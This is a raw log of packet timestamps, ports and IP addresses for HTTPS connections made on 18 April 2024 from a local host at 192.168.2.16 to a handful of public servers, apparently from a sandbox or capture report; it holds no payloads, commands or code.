Apr 18, 2024 23:05:36.100930929 CEST	443	49773	104.17.3.184	192.168.2.16
Apr 18, 2024 23:05:36.101187944 CEST	49773	443	192.168.2.16	104.17.3.184
Apr 18, 2024 23:05:36.101218939 CEST	443	49773	104.17.3.184	192.168.2.16
Apr 18, 2024 23:05:36.101696968 CEST	443	49773	104.17.3.184	192.168.2.16
Apr 18, 2024 23:05:36.102018118 CEST	49773	443	192.168.2.16	104.17.3.184
Apr 18, 2024 23:05:36.102102041 CEST	443	49773	104.17.3.184	192.168.2.16
Apr 18, 2024 23:05:36.102144957 CEST	49773	443	192.168.2.16	104.17.3.184
Apr 18, 2024 23:05:36.127425909 CEST	443	49772	104.17.2.184	192.168.2.16
Apr 18, 2024 23:05:36.127512932 CEST	443	49772	104.17.2.184	192.168.2.16
Apr 18, 2024 23:05:36.127578020 CEST	49772	443	192.168.2.16	104.17.2.184
Apr 18, 2024 23:05:36.128314972 CEST	49772	443	192.168.2.16	104.17.2.184
Apr 18, 2024 23:05:36.128339052 CEST	443	49772	104.17.2.184	192.168.2.16
Apr 18, 2024 23:05:36.144125938 CEST	443	49773	104.17.3.184	192.168.2.16
Apr 18, 2024 23:05:36.152357101 CEST	49773	443	192.168.2.16	104.17.3.184
Apr 18, 2024 23:05:36.359497070 CEST	443	49773	104.17.3.184	192.168.2.16
Apr 18, 2024 23:05:36.359620094 CEST	443	49773	104.17.3.184	192.168.2.16
Apr 18, 2024 23:05:36.359685898 CEST	49773	443	192.168.2.16	104.17.3.184
Apr 18, 2024 23:05:36.360541105 CEST	49773	443	192.168.2.16	104.17.3.184
Apr 18, 2024 23:05:36.360560894 CEST	443	49773	104.17.3.184	192.168.2.16
Apr 18, 2024 23:05:36.747405052 CEST	49774	443	192.168.2.16	104.17.3.184
Apr 18, 2024 23:05:36.747457981 CEST	443	49774	104.17.3.184	192.168.2.16
Apr 18, 2024 23:05:36.747529030 CEST	49774	443	192.168.2.16	104.17.3.184
Apr 18, 2024 23:05:36.747796059 CEST	49774	443	192.168.2.16	104.17.3.184
Apr 18, 2024 23:05:36.747807026 CEST	443	49774	104.17.3.184	192.168.2.16
Apr 18, 2024 23:05:36.961797953 CEST	443	49774	104.17.3.184	192.168.2.16
Apr 18, 2024 23:05:36.962075949 CEST	49774	443	192.168.2.16	104.17.3.184
Apr 18, 2024 23:05:36.962090015 CEST	443	49774	104.17.3.184	192.168.2.16
Apr 18, 2024 23:05:36.962692022 CEST	443	49774	104.17.3.184	192.168.2.16
Apr 18, 2024 23:05:36.962987900 CEST	49774	443	192.168.2.16	104.17.3.184
Apr 18, 2024 23:05:36.963082075 CEST	443	49774	104.17.3.184	192.168.2.16
Apr 18, 2024 23:05:36.963145971 CEST	49774	443	192.168.2.16	104.17.3.184
Apr 18, 2024 23:05:36.963219881 CEST	49774	443	192.168.2.16	104.17.3.184
Apr 18, 2024 23:05:36.963249922 CEST	443	49774	104.17.3.184	192.168.2.16
Apr 18, 2024 23:05:36.963356018 CEST	49774	443	192.168.2.16	104.17.3.184
Apr 18, 2024 23:05:36.963382959 CEST	443	49774	104.17.3.184	192.168.2.16
Apr 18, 2024 23:05:37.215317965 CEST	443	49774	104.17.3.184	192.168.2.16
Apr 18, 2024 23:05:37.215470076 CEST	443	49774	104.17.3.184	192.168.2.16
Apr 18, 2024 23:05:37.215509892 CEST	443	49774	104.17.3.184	192.168.2.16
Apr 18, 2024 23:05:37.215518951 CEST	49774	443	192.168.2.16	104.17.3.184
Apr 18, 2024 23:05:37.215533018 CEST	443	49774	104.17.3.184	192.168.2.16
Apr 18, 2024 23:05:37.215600967 CEST	49774	443	192.168.2.16	104.17.3.184
Apr 18, 2024 23:05:37.215630054 CEST	443	49774	104.17.3.184	192.168.2.16
Apr 18, 2024 23:05:37.215981007 CEST	443	49774	104.17.3.184	192.168.2.16
Apr 18, 2024 23:05:37.216026068 CEST	443	49774	104.17.3.184	192.168.2.16
Apr 18, 2024 23:05:37.216062069 CEST	443	49774	104.17.3.184	192.168.2.16
Apr 18, 2024 23:05:37.216075897 CEST	49774	443	192.168.2.16	104.17.3.184
Apr 18, 2024 23:05:37.216080904 CEST	443	49774	104.17.3.184	192.168.2.16
Apr 18, 2024 23:05:37.216116905 CEST	49774	443	192.168.2.16	104.17.3.184
Apr 18, 2024 23:05:37.216538906 CEST	443	49774	104.17.3.184	192.168.2.16
Apr 18, 2024 23:05:37.216583967 CEST	443	49774	104.17.3.184	192.168.2.16
Apr 18, 2024 23:05:37.216594934 CEST	49774	443	192.168.2.16	104.17.3.184
Apr 18, 2024 23:05:37.216599941 CEST	443	49774	104.17.3.184	192.168.2.16
Apr 18, 2024 23:05:37.216630936 CEST	49774	443	192.168.2.16	104.17.3.184
Apr 18, 2024 23:05:37.216634989 CEST	443	49774	104.17.3.184	192.168.2.16
Apr 18, 2024 23:05:37.217155933 CEST	443	49774	104.17.3.184	192.168.2.16
Apr 18, 2024 23:05:37.217223883 CEST	49774	443	192.168.2.16	104.17.3.184
Apr 18, 2024 23:05:37.217227936 CEST	443	49774	104.17.3.184	192.168.2.16
Apr 18, 2024 23:05:37.217430115 CEST	443	49774	104.17.3.184	192.168.2.16
Apr 18, 2024 23:05:37.217483044 CEST	49774	443	192.168.2.16	104.17.3.184
Apr 18, 2024 23:05:37.217487097 CEST	443	49774	104.17.3.184	192.168.2.16
Apr 18, 2024 23:05:37.217701912 CEST	443	49774	104.17.3.184	192.168.2.16
Apr 18, 2024 23:05:37.217781067 CEST	49774	443	192.168.2.16	104.17.3.184
Apr 18, 2024 23:05:37.217783928 CEST	443	49774	104.17.3.184	192.168.2.16
Apr 18, 2024 23:05:37.217948914 CEST	443	49774	104.17.3.184	192.168.2.16
Apr 18, 2024 23:05:37.218003035 CEST	49774	443	192.168.2.16	104.17.3.184
Apr 18, 2024 23:05:37.218007088 CEST	443	49774	104.17.3.184	192.168.2.16
Apr 18, 2024 23:05:37.218049049 CEST	443	49774	104.17.3.184	192.168.2.16
Apr 18, 2024 23:05:37.218116045 CEST	49774	443	192.168.2.16	104.17.3.184
Apr 18, 2024 23:05:37.218122005 CEST	443	49774	104.17.3.184	192.168.2.16
Apr 18, 2024 23:05:37.218142986 CEST	49774	443	192.168.2.16	104.17.3.184
Apr 18, 2024 23:05:37.233491898 CEST	49775	443	192.168.2.16	104.17.2.184
Apr 18, 2024 23:05:37.233531952 CEST	443	49775	104.17.2.184	192.168.2.16
Apr 18, 2024 23:05:37.233604908 CEST	49775	443	192.168.2.16	104.17.2.184
Apr 18, 2024 23:05:37.233825922 CEST	49775	443	192.168.2.16	104.17.2.184
Apr 18, 2024 23:05:37.233839989 CEST	443	49775	104.17.2.184	192.168.2.16
Apr 18, 2024 23:05:37.448498011 CEST	443	49775	104.17.2.184	192.168.2.16
Apr 18, 2024 23:05:37.448807955 CEST	49775	443	192.168.2.16	104.17.2.184
Apr 18, 2024 23:05:37.448823929 CEST	443	49775	104.17.2.184	192.168.2.16
Apr 18, 2024 23:05:37.449281931 CEST	443	49775	104.17.2.184	192.168.2.16
Apr 18, 2024 23:05:37.449923992 CEST	49775	443	192.168.2.16	104.17.2.184
Apr 18, 2024 23:05:37.450009108 CEST	443	49775	104.17.2.184	192.168.2.16
Apr 18, 2024 23:05:37.450181961 CEST	49775	443	192.168.2.16	104.17.2.184
Apr 18, 2024 23:05:37.492126942 CEST	443	49775	104.17.2.184	192.168.2.16
Apr 18, 2024 23:05:37.730334044 CEST	443	49775	104.17.2.184	192.168.2.16
Apr 18, 2024 23:05:37.730434895 CEST	443	49775	104.17.2.184	192.168.2.16
Apr 18, 2024 23:05:37.730604887 CEST	49775	443	192.168.2.16	104.17.2.184
Apr 18, 2024 23:05:37.731422901 CEST	49775	443	192.168.2.16	104.17.2.184
Apr 18, 2024 23:05:37.731443882 CEST	443	49775	104.17.2.184	192.168.2.16
Apr 18, 2024 23:05:38.773596048 CEST	49776	443	192.168.2.16	104.17.3.184
Apr 18, 2024 23:05:38.773638010 CEST	443	49776	104.17.3.184	192.168.2.16
Apr 18, 2024 23:05:38.777190924 CEST	49776	443	192.168.2.16	104.17.3.184
Apr 18, 2024 23:05:38.777476072 CEST	49776	443	192.168.2.16	104.17.3.184
Apr 18, 2024 23:05:38.777487040 CEST	443	49776	104.17.3.184	192.168.2.16
Apr 18, 2024 23:05:38.993339062 CEST	443	49776	104.17.3.184	192.168.2.16
Apr 18, 2024 23:05:38.993623018 CEST	49776	443	192.168.2.16	104.17.3.184
Apr 18, 2024 23:05:38.993657112 CEST	443	49776	104.17.3.184	192.168.2.16
Apr 18, 2024 23:05:38.994178057 CEST	443	49776	104.17.3.184	192.168.2.16
Apr 18, 2024 23:05:38.994482994 CEST	49776	443	192.168.2.16	104.17.3.184
Apr 18, 2024 23:05:38.994616985 CEST	443	49776	104.17.3.184	192.168.2.16
Apr 18, 2024 23:05:38.994623899 CEST	49776	443	192.168.2.16	104.17.3.184
Apr 18, 2024 23:05:38.994708061 CEST	49776	443	192.168.2.16	104.17.3.184
Apr 18, 2024 23:05:38.994745016 CEST	443	49776	104.17.3.184	192.168.2.16
Apr 18, 2024 23:05:38.994867086 CEST	49776	443	192.168.2.16	104.17.3.184
Apr 18, 2024 23:05:38.994913101 CEST	443	49776	104.17.3.184	192.168.2.16
Apr 18, 2024 23:05:39.257282019 CEST	443	49776	104.17.3.184	192.168.2.16
Apr 18, 2024 23:05:39.257338047 CEST	443	49776	104.17.3.184	192.168.2.16
Apr 18, 2024 23:05:39.257386923 CEST	49776	443	192.168.2.16	104.17.3.184
Apr 18, 2024 23:05:39.257407904 CEST	443	49776	104.17.3.184	192.168.2.16
Apr 18, 2024 23:05:39.257534027 CEST	443	49776	104.17.3.184	192.168.2.16
Apr 18, 2024 23:05:39.257582903 CEST	49776	443	192.168.2.16	104.17.3.184
Apr 18, 2024 23:05:39.258313894 CEST	49776	443	192.168.2.16	104.17.3.184
Apr 18, 2024 23:05:39.258327007 CEST	443	49776	104.17.3.184	192.168.2.16
Apr 18, 2024 23:05:39.262367010 CEST	49777	443	192.168.2.16	104.17.2.184
Apr 18, 2024 23:05:39.262404919 CEST	443	49777	104.17.2.184	192.168.2.16
Apr 18, 2024 23:05:39.262521982 CEST	49777	443	192.168.2.16	104.17.2.184
Apr 18, 2024 23:05:39.262991905 CEST	49777	443	192.168.2.16	104.17.2.184
Apr 18, 2024 23:05:39.263009071 CEST	443	49777	104.17.2.184	192.168.2.16
Apr 18, 2024 23:05:39.280219078 CEST	49778	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:39.280256987 CEST	443	49778	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:39.280344963 CEST	49778	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:39.280742884 CEST	49778	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:39.280756950 CEST	443	49778	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:39.476382971 CEST	443	49777	104.17.2.184	192.168.2.16
Apr 18, 2024 23:05:39.476721048 CEST	49777	443	192.168.2.16	104.17.2.184
Apr 18, 2024 23:05:39.476743937 CEST	443	49777	104.17.2.184	192.168.2.16
Apr 18, 2024 23:05:39.477071047 CEST	443	49777	104.17.2.184	192.168.2.16
Apr 18, 2024 23:05:39.477417946 CEST	49777	443	192.168.2.16	104.17.2.184
Apr 18, 2024 23:05:39.477483988 CEST	443	49777	104.17.2.184	192.168.2.16
Apr 18, 2024 23:05:39.477572918 CEST	49777	443	192.168.2.16	104.17.2.184
Apr 18, 2024 23:05:39.499398947 CEST	443	49778	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:39.499666929 CEST	49778	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:39.499684095 CEST	443	49778	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:39.500200987 CEST	443	49778	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:39.500494003 CEST	49778	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:39.500576019 CEST	443	49778	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:39.500674963 CEST	49778	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:39.500745058 CEST	49778	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:39.500761032 CEST	443	49778	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:39.524115086 CEST	443	49777	104.17.2.184	192.168.2.16
Apr 18, 2024 23:05:39.737668037 CEST	443	49777	104.17.2.184	192.168.2.16
Apr 18, 2024 23:05:39.737740993 CEST	443	49777	104.17.2.184	192.168.2.16
Apr 18, 2024 23:05:39.737793922 CEST	49777	443	192.168.2.16	104.17.2.184
Apr 18, 2024 23:05:39.738214016 CEST	49777	443	192.168.2.16	104.17.2.184
Apr 18, 2024 23:05:39.738228083 CEST	443	49777	104.17.2.184	192.168.2.16
Apr 18, 2024 23:05:39.778707981 CEST	443	49778	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:39.778785944 CEST	443	49778	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:39.778831005 CEST	443	49778	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:39.778846025 CEST	49778	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:39.778872013 CEST	443	49778	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:39.778918982 CEST	49778	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:39.778927088 CEST	443	49778	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:39.779057026 CEST	443	49778	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:39.779112101 CEST	49778	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:39.779774904 CEST	49778	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:39.779786110 CEST	443	49778	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:39.782835960 CEST	49779	443	192.168.2.16	104.21.20.67
Apr 18, 2024 23:05:39.782862902 CEST	443	49779	104.21.20.67	192.168.2.16
Apr 18, 2024 23:05:39.782948017 CEST	49779	443	192.168.2.16	104.21.20.67
Apr 18, 2024 23:05:39.783147097 CEST	49779	443	192.168.2.16	104.21.20.67
Apr 18, 2024 23:05:39.783162117 CEST	443	49779	104.21.20.67	192.168.2.16
Apr 18, 2024 23:05:39.792737007 CEST	49780	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:39.792831898 CEST	443	49780	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:39.792915106 CEST	49780	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:39.793570995 CEST	49780	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:39.793597937 CEST	443	49780	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:39.795476913 CEST	49781	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:39.795506954 CEST	443	49781	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:39.795567036 CEST	49781	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:39.795955896 CEST	49781	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:39.795977116 CEST	443	49781	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:40.001722097 CEST	443	49779	104.21.20.67	192.168.2.16
Apr 18, 2024 23:05:40.002018929 CEST	49779	443	192.168.2.16	104.21.20.67
Apr 18, 2024 23:05:40.002039909 CEST	443	49779	104.21.20.67	192.168.2.16
Apr 18, 2024 23:05:40.002440929 CEST	443	49779	104.21.20.67	192.168.2.16
Apr 18, 2024 23:05:40.002953053 CEST	49779	443	192.168.2.16	104.21.20.67
Apr 18, 2024 23:05:40.003026962 CEST	443	49779	104.21.20.67	192.168.2.16
Apr 18, 2024 23:05:40.003094912 CEST	49779	443	192.168.2.16	104.21.20.67
Apr 18, 2024 23:05:40.012722969 CEST	443	49780	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:40.012917042 CEST	49780	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:40.012940884 CEST	443	49780	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:40.013596058 CEST	443	49780	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:40.013854980 CEST	443	49781	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:40.013952017 CEST	49780	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:40.014035940 CEST	443	49780	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:40.014113903 CEST	49781	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:40.014128923 CEST	443	49781	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:40.014254093 CEST	49780	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:40.014317036 CEST	49780	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:40.014369965 CEST	443	49780	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:40.014434099 CEST	443	49781	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:40.014909983 CEST	49781	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:40.014977932 CEST	443	49781	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:40.015244007 CEST	49781	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:40.048120022 CEST	443	49779	104.21.20.67	192.168.2.16
Apr 18, 2024 23:05:40.049386024 CEST	49779	443	192.168.2.16	104.21.20.67
Apr 18, 2024 23:05:40.060116053 CEST	443	49781	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:40.262012959 CEST	443	49779	104.21.20.67	192.168.2.16
Apr 18, 2024 23:05:40.262083054 CEST	443	49779	104.21.20.67	192.168.2.16
Apr 18, 2024 23:05:40.262151957 CEST	49779	443	192.168.2.16	104.21.20.67
Apr 18, 2024 23:05:40.262672901 CEST	49779	443	192.168.2.16	104.21.20.67
Apr 18, 2024 23:05:40.262691975 CEST	443	49779	104.21.20.67	192.168.2.16
Apr 18, 2024 23:05:40.276093006 CEST	443	49781	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:40.276154995 CEST	443	49781	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:40.276180029 CEST	443	49781	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:40.276201963 CEST	443	49781	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:40.276212931 CEST	49781	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:40.276221991 CEST	443	49781	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:40.276232004 CEST	443	49781	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:40.276264906 CEST	49781	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:40.276285887 CEST	49781	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:40.276443958 CEST	443	49781	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:40.276480913 CEST	443	49781	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:40.276500940 CEST	443	49781	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:40.276519060 CEST	49781	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:40.276530981 CEST	443	49781	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:40.276568890 CEST	49781	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:40.277024984 CEST	443	49781	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:40.277061939 CEST	443	49781	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:40.277084112 CEST	443	49781	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:40.277103901 CEST	443	49781	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:40.277111053 CEST	49781	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:40.277120113 CEST	443	49781	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:40.277167082 CEST	49781	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:40.277189016 CEST	443	49781	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:40.277231932 CEST	49781	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:40.277585983 CEST	49781	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:40.277602911 CEST	443	49781	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:40.773488998 CEST	443	49780	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:40.773566008 CEST	443	49780	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:40.773703098 CEST	49780	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:40.775667906 CEST	49780	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:40.775687933 CEST	443	49780	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:40.775698900 CEST	49780	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:40.776492119 CEST	49782	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:40.776515007 CEST	49780	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:40.776535988 CEST	443	49782	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:40.776623964 CEST	49782	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:40.776834011 CEST	49782	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:40.776845932 CEST	443	49782	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:40.994746923 CEST	443	49782	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:40.995090008 CEST	49782	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:40.995157957 CEST	443	49782	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:40.995539904 CEST	443	49782	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:40.995829105 CEST	49782	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:40.995920897 CEST	443	49782	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:40.995984077 CEST	49782	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:41.036117077 CEST	443	49782	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:41.449629068 CEST	443	49782	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:41.449681997 CEST	443	49782	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:41.449717999 CEST	443	49782	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:41.449750900 CEST	443	49782	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:41.449816942 CEST	49782	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:41.449843884 CEST	443	49782	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:41.449877024 CEST	49782	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:41.449902058 CEST	49782	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:41.450942993 CEST	49782	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:41.450984001 CEST	443	49782	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:41.471295118 CEST	49783	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:41.471345901 CEST	443	49783	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:41.471448898 CEST	49783	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:41.471846104 CEST	49783	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:41.471860886 CEST	443	49783	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:41.473582029 CEST	49784	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:41.473623037 CEST	443	49784	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:41.474126101 CEST	49785	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:41.474164009 CEST	49784	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:41.474169016 CEST	443	49785	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:41.474237919 CEST	49785	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:41.474524975 CEST	49784	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:41.474539042 CEST	443	49784	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:41.474670887 CEST	49785	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:41.474687099 CEST	443	49785	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:41.690176964 CEST	443	49783	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:41.691261053 CEST	49783	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:41.691286087 CEST	443	49783	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:41.691606998 CEST	443	49783	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:41.691876888 CEST	49783	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:41.691958904 CEST	443	49783	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:41.691999912 CEST	49783	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:41.694547892 CEST	443	49784	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:41.694715977 CEST	49784	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:41.694739103 CEST	443	49784	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:41.694792032 CEST	443	49785	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:41.694946051 CEST	49785	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:41.694969893 CEST	443	49785	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:41.695065975 CEST	443	49784	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:41.695302010 CEST	49784	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:41.695362091 CEST	443	49784	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:41.695378065 CEST	49784	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:41.695868969 CEST	443	49785	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:41.695961952 CEST	49785	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:41.696162939 CEST	49785	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:41.696216106 CEST	443	49785	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:41.696238041 CEST	49785	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:41.732111931 CEST	443	49783	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:41.734723091 CEST	49783	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:41.736115932 CEST	443	49784	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:41.744111061 CEST	443	49785	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:41.750369072 CEST	49784	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:41.750384092 CEST	49785	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:41.750391960 CEST	443	49785	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:41.798398972 CEST	49785	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:41.899193048 CEST	49786	443	192.168.2.16	184.25.164.138
Apr 18, 2024 23:05:41.899236917 CEST	443	49786	184.25.164.138	192.168.2.16
Apr 18, 2024 23:05:41.899347067 CEST	49786	443	192.168.2.16	184.25.164.138
Apr 18, 2024 23:05:41.899574995 CEST	49786	443	192.168.2.16	184.25.164.138
Apr 18, 2024 23:05:41.899589062 CEST	443	49786	184.25.164.138	192.168.2.16
Apr 18, 2024 23:05:42.180740118 CEST	443	49784	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:42.180793047 CEST	443	49784	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:42.180830956 CEST	443	49784	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:42.180865049 CEST	443	49784	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:42.180882931 CEST	49784	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:42.180898905 CEST	443	49784	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:42.180927038 CEST	443	49784	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:42.180941105 CEST	49784	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:42.180959940 CEST	49784	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:42.180964947 CEST	443	49784	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:42.181001902 CEST	443	49784	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:42.181041002 CEST	49784	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:42.181047916 CEST	443	49784	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:42.181457043 CEST	443	49784	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:42.181503057 CEST	49784	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:42.181510925 CEST	443	49784	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:42.188572884 CEST	443	49783	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:42.188623905 CEST	443	49783	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:42.188662052 CEST	443	49783	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:42.188689947 CEST	49783	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:42.188699007 CEST	443	49783	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:42.188709974 CEST	443	49783	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:42.188745975 CEST	49783	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:42.188757896 CEST	443	49783	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:42.188802958 CEST	49783	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:42.188807964 CEST	443	49783	172.67.191.217	192.168.2.16
